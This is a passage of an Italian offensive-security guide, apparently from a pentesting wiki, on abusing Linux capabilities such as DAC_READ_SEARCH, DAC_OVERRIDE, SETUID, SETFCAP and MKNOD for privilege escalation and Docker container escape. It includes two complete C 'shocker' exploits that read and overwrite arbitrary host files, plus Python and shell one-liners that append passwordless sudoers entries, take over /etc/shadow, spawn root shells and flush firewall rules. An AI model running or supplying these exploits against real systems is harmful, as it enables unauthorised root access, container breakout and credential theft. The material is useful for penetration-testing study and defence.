Esempio con binario

Il binario sarà in grado di leggere qualsiasi file. Quindi, se un file come tar ha questa capacità, sarà in grado di leggere il file shadow:

cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz

Esempio con binary2

In questo caso supponiamo che il binario python abbia questa capacità. Per elencare i file di root potresti fare:

import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)

E per leggere un file potresti fare:

print(open("/etc/shadow", "r").read())

Esempio nell'ambiente (Docker breakout)

Puoi controllare le capacità abilitate all'interno del container docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Dentro l'output precedente puoi vedere che la capacità DAC_READ_SEARCH è abilitata. Di conseguenza, il container può debuggare i processi.

Puoi imparare come funziona il seguente exploit in https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3 ma in sintesi CAP_DAC_READ_SEARCH non solo ci consente di attraversare il file system senza controlli di autorizzazione, ma rimuove anche esplicitamente eventuali controlli su open_by_handle_at(2) e potrebbe consentire al nostro processo di accedere a file sensibili aperti da altri processi.

L'exploit originale che sfrutta queste autorizzazioni per leggere file dall'host può essere trovato qui: http://stealth.openwall.net/xSports/shocker.c, il seguente è una versione modificata che ti consente di indicare il file che desideri leggere come primo argomento e di scaricarlo in un file.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};

void die(const char *msg)
{
perror(msg);
exit(errno);
}

void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}

int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}

++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}

fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}


int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};

fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");

read(0, buf, 1);

// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");

if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");

fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);

if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");

memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");

printf("Success!!\n");

FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);

close(fd2); close(fd1);

return 0;
}

L'exploit deve trovare un puntatore a qualcosa montato sull'host. L'exploit originale utilizzava il file /.dockerinit e questa versione modificata utilizza /etc/hostname. Se l'exploit non funziona, potrebbe essere necessario impostare un file diverso. Per trovare un file montato nell'host, esegui semplicemente il comando mount:

Il codice di questa tecnica è stato copiato dal laboratorio di "Abusing DAC_READ_SEARCH Capability" da https://www.pentesteracademy.com/

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CAP_DAC_OVERRIDE

Questo significa che puoi bypassare i controlli dei permessi di scrittura su qualsiasi file, quindi puoi scrivere qualsiasi file.

Ci sono molti file che puoi sovrascrivere per elevare i privilegi, puoi prendere spunti da qui.

Esempio con binario

In questo esempio vim ha questa capacità, quindi puoi modificare qualsiasi file come passwd, sudoers o shadow:

getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep

vim /etc/sudoers #To overwrite it

Esempio con binario 2

In questo esempio, il binario python avrà questa capacità. Potresti usare python per sovrascrivere qualsiasi file:

file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()

Esempio con ambiente + CAP_DAC_READ_SEARCH (Docker breakout)

Puoi controllare le capacità abilitate all'interno del contenitore docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Prima di tutto, leggi la sezione precedente che abusa della capacità DAC_READ_SEARCH per leggere file arbitrari dell'host e compila l'exploit. Poi, compila la seguente versione dell'exploit shocker che ti permetterà di scrivere file arbitrari all'interno del filesystem degli host:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>

// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd

struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}

Per scappare dal container docker, potresti scaricare i file /etc/shadow e /etc/passwd dall'host, aggiungere a essi un nuovo utente e usare shocker_write per sovrascriverli. Poi, accedere tramite ssh.

Il codice di questa tecnica è stato copiato dal laboratorio di "Abusing DAC_OVERRIDE Capability" da https://www.pentesteracademy.com

CAP_CHOWN

Questo significa che è possibile cambiare la proprietà di qualsiasi file.

Esempio con binario

Supponiamo che il python binario abbia questa capacità, puoi cambiare il proprietario del file shadow, cambiare la password di root e ottenere privilegi elevati:

python -c 'import os;os.chown("/etc/shadow",1000,1000)'

O con il ruby binario che ha questa capacità:

ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")'

CAP_FOWNER

Questo significa che è possibile modificare i permessi di qualsiasi file.

Esempio con binario

Se python ha questa capacità, puoi modificare i permessi del file shadow, cambiare la password di root e aumentare i privilegi:

python -c 'import os;os.chmod("/etc/shadow",0666)

CAP_SETUID

Questo significa che è possibile impostare l'ID utente efficace del processo creato.

Esempio con binario

Se python ha questa capability, puoi abusarne molto facilmente per elevare i privilegi a root:

import os
os.setuid(0)
os.system("/bin/bash")

Un altro modo:

import os
import prctl
#add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")

CAP_SETGID

Questo significa che è possibile impostare l'ID di gruppo efficace del processo creato.

Ci sono molti file che puoi sovrascrivere per aumentare i privilegi, puoi prendere spunti da qui.

Esempio con binario

In questo caso dovresti cercare file interessanti che un gruppo può leggere perché puoi impersonare qualsiasi gruppo:

#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null

Una volta trovato un file che puoi sfruttare (tramite lettura o scrittura) per elevare i privilegi, puoi ottenere una shell impersonando il gruppo interessante con:

import os
os.setgid(42)
os.system("/bin/bash")

In questo caso il gruppo shadow è stato impersonato, quindi puoi leggere il file /etc/shadow:

cat /etc/shadow

Se docker è installato, puoi impostare il gruppo docker e abusarne per comunicare con il docker socket e aumentare i privilegi.

CAP_SETFCAP

Questo significa che è possibile impostare capacità su file e processi

Esempio con binario

Se python ha questa capacità, puoi abusarne molto facilmente per aumentare i privilegi a root:

setcapability.py

import ctypes, sys

#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")

libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]

#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)

if(status == 0):
print (cap + " was successfully added to " + path)

python setcapability.py /usr/bin/python2.7

Nota che se imposti una nuova capacità al binario con CAP_SETFCAP, perderai questa capacità.

Una volta che hai la capacità SETUID puoi andare alla sua sezione per vedere come elevare i privilegi.

Esempio con ambiente (Docker breakout)

Per impostazione predefinita, la capacità CAP_SETFCAP è assegnata al processo all'interno del contenitore in Docker. Puoi verificarlo facendo qualcosa come:

cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000

capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

Questa capacità consente di dare qualsiasi altra capacità ai binari, quindi potremmo pensare a sfuggire dal contenitore abusando di una delle altre violazioni di capacità menzionate in questa pagina. Tuttavia, se provi a dare ad esempio le capacità CAP_SYS_ADMIN e CAP_SYS_PTRACE al binario gdb, scoprirai che puoi darle, ma il binario non sarà in grado di eseguire dopo questo:

getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip

setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb

/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted

From the docs: Permitted: Questo è un sottoinsieme limitante per le capacità effettive che il thread può assumere. È anche un sottoinsieme limitante per le capacità che possono essere aggiunte al set ereditabile da un thread che non ha la capacità CAP_SETPCAP nel suo set effettivo. Sembra che le capacità Permitted limitino quelle che possono essere utilizzate. Tuttavia, Docker concede anche il CAP_SETPCAP per impostazione predefinita, quindi potresti essere in grado di impostare nuove capacità all'interno di quelle ereditabili. Tuttavia, nella documentazione di questa capacità: CAP_SETPCAP : […] aggiungi qualsiasi capacità dal set di bounding del thread chiamante al suo set ereditabile. Sembra che possiamo solo aggiungere al set ereditabile capacità dal set di bounding. Ciò significa che non possiamo mettere nuove capacità come CAP_SYS_ADMIN o CAP_SYS_PTRACE nel set ereditato per escalare i privilegi.

CAP_SYS_RAWIO

CAP_SYS_RAWIO fornisce una serie di operazioni sensibili tra cui l'accesso a /dev/mem, /dev/kmem o /proc/kcore, modificare mmap_min_addr, accedere alle chiamate di sistema ioperm(2) e iopl(2), e vari comandi del disco. L'FIBMAP ioctl(2) è anche abilitato tramite questa capacità, il che ha causato problemi in passato. Secondo la pagina man, questo consente anche al detentore di descrittivamente eseguire una serie di operazioni specifiche per dispositivo su altri dispositivi.

Questo può essere utile per l'escalation dei privilegi e il breakout di Docker.

CAP_KILL

Questo significa che è possibile uccidere qualsiasi processo.

Esempio con binario

Supponiamo che il python binario abbia questa capacità. Se potessi anche modificare alcune configurazioni di servizio o socket (o qualsiasi file di configurazione relativo a un servizio), potresti inserire una backdoor, e poi uccidere il processo relativo a quel servizio e aspettare che il nuovo file di configurazione venga eseguito con la tua backdoor.

#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)

Privesc con kill

Se hai capacità di kill e c'è un programma node in esecuzione come root (o come un altro utente) potresti probabilmente inviargli il segnale SIGUSR1 e farlo aprire il debugger node a cui puoi connetterti.

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

Node inspector/CEF debug abuse

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CAP_NET_BIND_SERVICE

Questo significa che è possibile ascoltare su qualsiasi porta (anche su quelle privilegiate). Non puoi elevare i privilegi direttamente con questa capacità.

Esempio con binario

Se python ha questa capacità, sarà in grado di ascoltare su qualsiasi porta e persino connettersi da essa a qualsiasi altra porta (alcuni servizi richiedono connessioni da porte privilegiate specifiche)

Listen

import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)

Collegare

import socket
s=socket.socket()
s.bind(('0.0.0.0',500))
s.connect(('10.10.10.10',500))

CAP_NET_RAW

CAP_NET_RAW la capacità consente ai processi di creare socket RAW e PACKET, permettendo loro di generare e inviare pacchetti di rete arbitrari. Questo può portare a rischi per la sicurezza in ambienti containerizzati, come spoofing dei pacchetti, iniezione di traffico e bypass dei controlli di accesso alla rete. Attori malintenzionati potrebbero sfruttare questo per interferire con il routing dei container o compromettere la sicurezza della rete host, specialmente senza adeguate protezioni del firewall. Inoltre, CAP_NET_RAW è cruciale per i container privilegiati per supportare operazioni come ping tramite richieste ICMP RAW.

Questo significa che è possibile sniffare il traffico. Non puoi elevare i privilegi direttamente con questa capacità.

Esempio con binario

Se il binario tcpdump ha questa capacità, sarai in grado di usarlo per catturare informazioni di rete.

getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep

Nota che se l'ambiente sta dando questa capacità, potresti anche usare tcpdump per sniffare il traffico.

Esempio con binario 2

Il seguente esempio è codice python2 che può essere utile per intercettare il traffico dell'interfaccia "lo" (localhost). Il codice proviene dal laboratorio "The Basics: CAP-NET_BIND + NET_RAW" da https://attackdefense.pentesteracademy.com/

import socket
import struct

flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]

def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))

flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])

elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]

if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1

CAP_NET_ADMIN + CAP_NET_RAW

CAP_NET_ADMIN la capacità concede al detentore il potere di modificare le configurazioni di rete, inclusi le impostazioni del firewall, le tabelle di routing, i permessi dei socket e le impostazioni delle interfacce di rete all'interno degli spazi dei nomi di rete esposti. Abilita anche l'attivazione della modalità promiscuo sulle interfacce di rete, consentendo l'analisi dei pacchetti attraverso gli spazi dei nomi.

Esempio con binario

Supponiamo che il binario python abbia queste capacità.

#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)

#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')

CAP_LINUX_IMMUTABLE

Questo significa che è possibile modificare gli attributi dell'inode. Non puoi elevare i privilegi direttamente con questa capacità.

Esempio con binario

Se scopri che un file è immutabile e python ha questa capacità, puoi rimuovere l'attributo immutabile e rendere il file modificabile:

#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh

#Pyhton code to allow modifications to the file
import fcntl
import os
import struct

FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602

fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)

f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')

Nota che di solito questo attributo immutabile viene impostato e rimosso utilizzando:

sudo chattr +i file.txt
sudo chattr -i file.txt

CAP_SYS_CHROOT

CAP_SYS_CHROOT consente l'esecuzione della chiamata di sistema chroot(2), che può potenzialmente permettere l'uscita dagli ambienti chroot(2) attraverso vulnerabilità note:

• Come uscire da varie soluzioni chroot

• chw00t: strumento di escape da chroot

CAP_SYS_BOOT

CAP_SYS_BOOT non solo consente l'esecuzione della chiamata di sistema reboot(2) per i riavvii di sistema, inclusi comandi specifici come LINUX_REBOOT_CMD_RESTART2 adattati per determinate piattaforme hardware, ma consente anche l'uso di kexec_load(2) e, a partire da Linux 3.17, kexec_file_load(2) per caricare nuovi o firmati kernel di crash rispettivamente.

CAP_SYSLOG

CAP_SYSLOG è stato separato dal più ampio CAP_SYS_ADMIN in Linux 2.6.37, concedendo specificamente la possibilità di utilizzare la chiamata syslog(2). Questa capacità consente di visualizzare gli indirizzi del kernel tramite /proc e interfacce simili quando l'impostazione kptr_restrict è a 1, che controlla l'esposizione degli indirizzi del kernel. Dalla versione Linux 2.6.39, il valore predefinito per kptr_restrict è 0, il che significa che gli indirizzi del kernel sono esposti, sebbene molte distribuzioni impostino questo valore a 1 (nascondere gli indirizzi tranne che per uid 0) o 2 (nascondere sempre gli indirizzi) per motivi di sicurezza.

Inoltre, CAP_SYSLOG consente di accedere all'output di dmesg quando dmesg_restrict è impostato a 1. Nonostante queste modifiche, CAP_SYS_ADMIN mantiene la capacità di eseguire operazioni syslog a causa di precedenti storici.

CAP_MKNOD

CAP_MKNOD estende la funzionalità della chiamata di sistema mknod oltre alla creazione di file regolari, FIFO (pipe nominate) o socket di dominio UNIX. Consente specificamente la creazione di file speciali, che includono:

• S_IFCHR: File speciali di carattere, che sono dispositivi come terminali.

• S_IFBLK: File speciali a blocchi, che sono dispositivi come dischi.

Questa capacità è essenziale per i processi che richiedono la possibilità di creare file di dispositivo, facilitando l'interazione diretta con l'hardware tramite dispositivi a carattere o a blocchi.

È una capacità predefinita di docker (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19).

Questa capacità consente di effettuare escalation di privilegi (attraverso la lettura completa del disco) sull'host, a queste condizioni:

1. Avere accesso iniziale all'host (Non privilegiato).

2. Avere accesso iniziale al container (Privilegiato (EUID 0), e CAP_MKNOD effettivo).

3. L'host e il container devono condividere lo stesso namespace utente.

Passaggi per Creare e Accedere a un Dispositivo a Blocco in un Container:

1. Sull'Host come Utente Standard:

• Determina il tuo ID utente attuale con id, ad esempio, uid=1000(standarduser).

• Identifica il dispositivo target, ad esempio, /dev/sdb.

2. Dentro il Container come root:

# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser

3. Di nuovo sull'Host:

# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb

Questo approccio consente all'utente standard di accedere e potenzialmente leggere dati da /dev/sdb attraverso il contenitore, sfruttando gli spazi dei nomi utente condivisi e i permessi impostati sul dispositivo.

CAP_SETPCAP

CAP_SETPCAP consente a un processo di modificare i set di capacità di un altro processo, permettendo l'aggiunta o la rimozione di capacità dai set effettivi, ereditabili e permessi. Tuttavia, un processo può modificare solo le capacità che possiede nel proprio set permesso, garantendo che non possa elevare i privilegi di un altro processo oltre il proprio. Aggiornamenti recenti del kernel hanno inasprito queste regole, limitando CAP_SETPCAP a ridurre solo le capacità all'interno del proprio set permesso o di quello dei suoi discendenti, con l'obiettivo di mitigare i rischi per la sicurezza. L'uso richiede di avere CAP_SETPCAP nel set effettivo e le capacità target nel set permesso, utilizzando capset() per le modifiche. Questo riassume la funzione principale e le limitazioni di CAP_SETPCAP, evidenziando il suo ruolo nella gestione dei privilegi e nel miglioramento della sicurezza.

CAP_SETPCAP è una capacità di Linux che consente a un processo di modificare i set di capacità di un altro processo. Concede la possibilità di aggiungere o rimuovere capacità dai set di capacità effettivi, ereditabili e permessi di altri processi. Tuttavia, ci sono alcune restrizioni su come questa capacità può essere utilizzata.

Un processo con CAP_SETPCAP può solo concedere o rimuovere capacità che sono nel proprio set di capacità permesso. In altre parole, un processo non può concedere una capacità a un altro processo se non possiede quella capacità. Questa restrizione impedisce a un processo di elevare i privilegi di un altro processo oltre il proprio livello di privilegio.

Inoltre, nelle versioni recenti del kernel, la capacità CAP_SETPCAP è stata ulteriormente ristretta. Non consente più a un processo di modificare arbitrariamente i set di capacità di altri processi. Invece, consente solo a un processo di ridurre le capacità nel proprio set di capacità permesso o nel set di capacità permesso dei suoi discendenti. Questa modifica è stata introdotta per ridurre i potenziali rischi per la sicurezza associati alla capacità.

Per utilizzare CAP_SETPCAP in modo efficace, è necessario avere la capacità nel proprio set di capacità effettivo e le capacità target nel proprio set di capacità permesso. È quindi possibile utilizzare la chiamata di sistema capset() per modificare i set di capacità di altri processi.

In sintesi, CAP_SETPCAP consente a un processo di modificare i set di capacità di altri processi, ma non può concedere capacità che non possiede. Inoltre, a causa di preoccupazioni per la sicurezza, la sua funzionalità è stata limitata nelle versioni recenti del kernel per consentire solo la riduzione delle capacità nel proprio set di capacità permesso o nei set di capacità permessi dei suoi discendenti.

Riferimenti

La maggior parte di questi esempi è stata presa da alcuni laboratori di https://attackdefense.pentesteracademy.com/, quindi se vuoi praticare queste tecniche di privesc ti consiglio questi laboratori.

Altri riferimenti:

• https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux

• https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.

• https://linux-audit.com/linux-capabilities-101/

• https://www.linuxjournal.com/article/5737

• https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module

• https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot

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